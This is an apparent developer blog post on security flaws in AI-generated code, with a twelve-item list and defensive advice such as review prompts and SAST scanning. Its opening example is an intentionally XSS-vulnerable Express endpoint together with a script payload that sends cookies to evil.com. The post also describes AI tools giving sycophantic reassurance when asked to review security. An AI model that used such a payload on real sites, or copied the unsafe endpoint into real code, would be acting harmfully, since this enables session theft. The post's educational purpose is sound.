Back to blog
Your AI Copilot Is Writing Vulnerable Code (And You're Shipping It)
developmentsecurityai

Your AI Copilot Is Writing Vulnerable Code (And You're Shipping It)

Luther Lowry

Luther Lowry

Author

January 9, 2026 3 min read

Over 85% of developers now use AI coding tools. Most have no idea what security holes they're introducing.

The Honeymoon Phase

You've experienced it. That first week with Cursor or Copilot where you're shipping features at 10x speed. The code works. The tests pass. You feel like a wizard.

Then six months later, a security researcher finds an XSS vulnerability in your production app. Or worse - you find out because someone exploited it.

Here's the uncomfortable truth: AI coding tools optimize for functionality, not security. They're trained on billions of lines of existing code - much of which contains the exact vulnerabilities you're trying to avoid.

A Simple Example of How This Goes Wrong

Ask your AI to build a search endpoint. You'll probably get something like this:

javascript
app.get('/search', (req, res) => {
  const searchTerm = req.query.term;
  res.send(`<h1>Search results for: ${searchTerm}</h1>`);
});

This code works perfectly. It does exactly what you asked. Your AI assistant might even add some nice error handling.

It's also a textbook XSS vulnerability. An attacker can inject <script>document.location='https://evil.com/steal?c='+document.cookie</script> as the search term and steal every user's session.

The AI didn't warn you. It doesn't understand security context - it just completed the pattern you requested.

The Vibe Coding Security Dirty Dozen

After reviewing hundreds of AI-generated codebases, these are the vulnerabilities that show up again and again:

1. Hardcoded Secrets

AI loves to demonstrate functionality with real-looking credentials. That API_KEY=sk-1234... in your client-side code? It's been in your git history since day one. Even if you later move secrets to environment variables, anyone who clones your repo can dig through the commit history and find them. AI assistants frequently generate placeholder credentials that look fake but follow real patterns, and developers forget to replace them before committing.

2. Missing Input Validation

AI generates the happy path. It assumes users will send well-formed data in the expected format, because that's what the prompt implied. It doesn't think about what happens when someone sends 50MB of JSON to your endpoint, Unicode exploits in your username field, or negative numbers where you expected positive integers. Every input field is a potential attack surface, and AI treats them all as trusted by default.

3. No Rate Limiting

Your shiny new API works great in development where you're the only user. Then someone writes a script that hits it 10,000 times per second. Best case: your server falls over. Worst case: you wake up to a $40,000 bill from your AI provider or cloud host. AI-generated endpoints almost never include rate limiting because it's not part of the "make this feature work" prompt. It's infrastructure concern that falls outside the AI's narrow focus.

4. Insecure Dependencies

AI suggests packages based on what it learned during training, which could be years out of date. Many of those packages now have known CVEs with public exploits. When you run npm audit or pip check, you'll find critical vulnerabilities in dependencies the AI confidently recommended. The AI doesn't check security advisories - it just knows that package X was commonly used for task Y at some point in the past.

5. Hallucinated Packages

This one is uniquely AI-generated and actively exploited. AI doesn't just suggest outdated packages - it sometimes invents package names that sound plausible but don't exist. "Just install react-auth-helper" - except that package was never real. Attackers monitor AI outputs for these hallucinated names and race to publish malicious packages with those exact names on npm, PyPI, and other registries. When a developer runs npm install on a hallucinated suggestion, they're not getting an old library - they're installing malware.

How bad is it? A USENIX Security 2025 study found that open-source models hallucinate packages at a rate of 21.7%, while commercial models like GPT-4 still hallucinate around 5%. That's 1 in 20 package suggestions from the best models pointing to something that doesn't exist - yet. This is an active supply-chain attack vector that didn't exist before generative AI.

6. Authentication Bypasses

"Add admin functionality" produces code that checks if (user.role === 'admin') in the frontend or backend. But nothing prevents users from setting their own role during registration, or manipulating the JWT payload, or accessing the admin API directly. AI generates access control checks without understanding the full authentication flow, creating gaps between what's checked and what's assumed. These bypasses are especially dangerous because the code looks like it's doing authorization.

7. Missing Output Encoding

This is the XSS problem from our opening example, but it shows up everywhere. Any place you render user-supplied data - usernames, comments, profile fields, search queries, error messages - is a potential injection point. AI generates code that interpolates strings directly into HTML, SQL, shell commands, and other interpreted contexts. It's not malicious; the AI simply doesn't distinguish between trusted application strings and untrusted user input.

The numbers are stark: a CodeRabbit analysis of 470 GitHub pull requests found that AI-generated code is 2.74x more likely to introduce XSS vulnerabilities than human-written code.

8. Broken Access Control

AI doesn't understand your authorization model because you never fully explained it. When you ask for an endpoint to fetch a user's data by ID, you get exactly that - fetch by ID, no ownership check. The AI generates /api/users/123/documents without verifying that the requesting user is user 123. These Insecure Direct Object Reference (IDOR) vulnerabilities let attackers access anyone's data just by iterating through IDs.

They're trivial to exploit and devastatingly common in AI-generated code. The same CodeRabbit study found AI-generated code is nearly twice as likely (1.91x) to introduce insecure object references compared to human developers.

9. File Upload Vulnerabilities

"Add profile picture upload" sounds simple, but secure file upload is genuinely hard. AI-generated upload handlers typically lack size limits (hello, disk exhaustion attacks), skip file type validation (upload an executable, call it profile.jpg), and sometimes construct file paths from user input without sanitization (path traversal to overwrite system files). A single file upload feature can introduce multiple critical vulnerabilities that AI won't warn you about.

10. Verbose Error Messages

During development, detailed error messages are helpful. In production, they're information leaks. AI optimizes for the debugging experience you have right now, not the operational security you'll need later. Stack traces reveal your technology stack and internal paths. Database errors expose table names and query structures. Connection failures might dump credentials into logs. AI-generated error handling almost always needs to be hardened before deployment.

11. Insecure Defaults

CORS set to * because it makes development easier. Debug mode enabled because it helps you see what's happening. HTTPS not enforced in production because the dev config got copied forward without review. Session cookies without httpOnly or secure flags. AI generates code that works in your development environment, and development environments are permissive by design. Every one of these defaults becomes a vulnerability the moment you deploy to production. Hardening configuration is entirely your responsibility.

12. Business Logic Flaws

This might be the most dangerous category because no scanner will catch it. AI can write technically secure code that still violates your business rules. The payment function passes every security check but doesn't prevent a coupon code from being applied fifty times. The referral system has proper authentication but lets users refer themselves. The subscription logic is injection-proof but allows downgrades that retain premium features.

AI doesn't know your business rules because you never fully specified them - and you can't. Your company's policies, edge cases, and domain-specific constraints exist in documentation, Slack threads, and people's heads. No amount of prompting fixes this. The AI will generate code that's syntactically secure but semantically wrong, and you won't catch it until a user (or attacker) discovers the loophole in production.

Why AI Gets This Wrong

This isn't a bug - it's a fundamental limitation of how these tools work.

Pattern Completion, Not Intent Understanding

AI completes code patterns based on training data. It doesn't understand that a "search endpoint" has different security requirements than an "internal logging function." When you ask for a feature, you get the most statistically likely implementation of that feature - which is usually the simplest one that compiles.

Training Data Reflects Reality

AI learned from GitHub. A significant percentage of code on GitHub contains security vulnerabilities. The AI is faithfully reproducing the industry's collective bad habits. It's not inventing new vulnerabilities - it's replicating the ones that exist in millions of repositories.

No System Awareness

AI generates snippets in isolation. It can't see your authentication middleware, your database permissions, or your deployment environment. It doesn't know where trusted code ends and user input begins. Each completion is made without the broader context that security decisions require.

Optimizing for the Wrong Thing

AI tools are evaluated on "does this code work?" not "is this code secure?" The incentive structure produces functional, vulnerable code. Until security becomes part of how these tools are measured, this won't change.

What You Should Actually Do

The Two-Prompt Pattern (With Caveats)

Never ship AI-generated code without a second pass. After getting your initial implementation, immediately follow up with a security-focused review prompt. First prompt: "Implement feature". Second prompt: "Review this code for security vulnerabilities and fix them."

This catches obvious issues surprisingly often. The AI knows about security - it just doesn't apply that knowledge unprompted. By explicitly asking for a security review, you activate a different part of the model's training. You'll often see it catch the exact issues described in this article: missing input validation, hardcoded secrets, XSS vulnerabilities.

But don't overestimate this technique. The AI reviewing the code has the same knowledge gaps as the AI that wrote it. If the model didn't know to avoid a subtle vulnerability during generation, it often won't spot it during review either. There's also a sycophancy problem: AI models are trained to be helpful and agreeable. Ask "is this secure?" and you might get reassurance rather than honest criticism. The two-prompt pattern is better than nothing - significantly better - but it's not a replacement for deterministic scanning tools or human review. Think of it as a first filter, not a final check.

Security-Aware Prompting

Add security requirements to your initial prompts instead of treating them as an afterthought. Be explicit about what you expect:

text
Implement a user registration endpoint. Requirements:
- Validate all inputs
- Sanitize outputs
- Use parameterized queries
- No hardcoded secrets
- Include rate limiting
- Log security-relevant events

You'll get better code on the first pass when security is part of the specification, not a review step. The AI will include validation logic, use prepared statements, and avoid the most obvious pitfalls. It's not foolproof - you still need to review - but you're starting from a much stronger foundation. Think of it as shifting security left in your AI-assisted workflow.

Treat AI as a Junior Developer

You wouldn't deploy a junior dev's code without review. Same applies here. AI is a fast, tireless junior developer who has read a lot of code but has no security intuition and no understanding of your specific system's threat model.

This mental model helps calibrate your expectations. Junior devs write code that works. They don't anticipate edge cases, understand security implications, or know your deployment environment. They need supervision and review. Your AI assistant is exactly the same - incredibly productive with appropriate oversight, dangerous when given unsupervised access to production.

Automated Scanning

Add SAST (Static Application Security Testing) tools to your CI pipeline. Tools like Semgrep, Snyk, or GitHub's built-in code scanning will catch many AI-introduced vulnerabilities before they hit production. Configure them to fail builds on high-severity findings.

This creates a safety net that catches what human review misses. Set up dependency scanning too - tools like Dependabot or Renovate will alert you when AI-suggested packages have known vulnerabilities. The goal is defense in depth: assume AI-generated code contains vulnerabilities and build systems to catch them automatically.

Learn the Patterns

You can't review what you don't understand. Invest time in learning the OWASP Top 10 - it's the industry-standard list of the most critical web application security risks. Understand what XSS, SQL injection, and CSRF actually look like in code. Learn to spot missing authorization checks and insecure deserialization.

This investment pays dividends every time you review AI-generated code. Pattern recognition is fast once you've trained your eye. You'll start seeing potential vulnerabilities immediately instead of needing to analyze every line. The goal isn't to become a security expert - it's to develop enough intuition to know when code needs deeper review.

The Bottom Line

AI coding tools are genuinely transformative. I'm not suggesting you stop using them.

But the 10x speed comes with a hidden cost. Every line of AI-generated code is a line you didn't write, didn't fully think through, and probably didn't security review.

The developers who thrive in the AI era won't be the ones who generate code fastest. They'll be the ones who know what questions to ask, what patterns to watch for, and when to slow down.

Your AI copilot is brilliant at writing code that works. Making sure it's code that's safe - that's still on you.

What security issues have you found in AI-generated code? I'd love to hear your war stories.

Sources